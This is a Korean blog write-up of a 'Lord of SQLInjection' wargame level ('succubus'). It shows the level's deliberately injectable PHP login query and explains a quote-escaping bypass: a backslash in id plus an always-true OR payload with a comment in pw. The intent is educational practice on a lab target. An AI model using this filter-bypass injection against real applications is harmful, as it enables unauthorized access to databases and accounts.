LOS #16 succubus

2020. 10. 28. 23:00
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source code

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

 

Query

select id fro prob_succubus where id='' and pw=''

 

Write-up

[사진 1]

위 사진에서 확인할 수 있는 정보는 다음과 같다.

  • 파라미터는 id, pw 2개가 사용될 수 있다.

  • id, pw 값에 single quote 필터링을 하고 있다.

쿼리문에서 id, pw 값을 single quote로 감싸고 있는데, 필터링도 하고 있다. table에서 어떠한 데이터를 가져와도 문제가 풀리기 때문에 쿼리문 상에서 single quote를 일반 문자로 인식하도록 "\" 문자를 파라미터로 전달하고 "or" 문으로 우회하면 된다.

 

Parameter

id=\&pw=or"1"="1"%23

쿼리문은 다음과 같다. "\" 문자로 인해 id 값에 전달되는 파라미터는 "' and pw =" 값이 된다. 그리고 "or" 문 뒤쪽에 "1"="1" 구문이 참을 반환하여 select를 성공한다.

select id from prob_succubus where id='\' and pw='or"1"="1"#'

 

Success

[사진 2]

728x90
728x90

'Wargame > LOS' 카테고리의 다른 글

LOS #18 nightmare  (0) 2020.10.28
LOS #17 zombie_assassin  (0) 2020.10.28
LOS #15 assassin  (0) 2020.10.28
LOS #14 giant  (0) 2020.10.28
LOS #13 bugbear  (0) 2020.10.28

+ Recent posts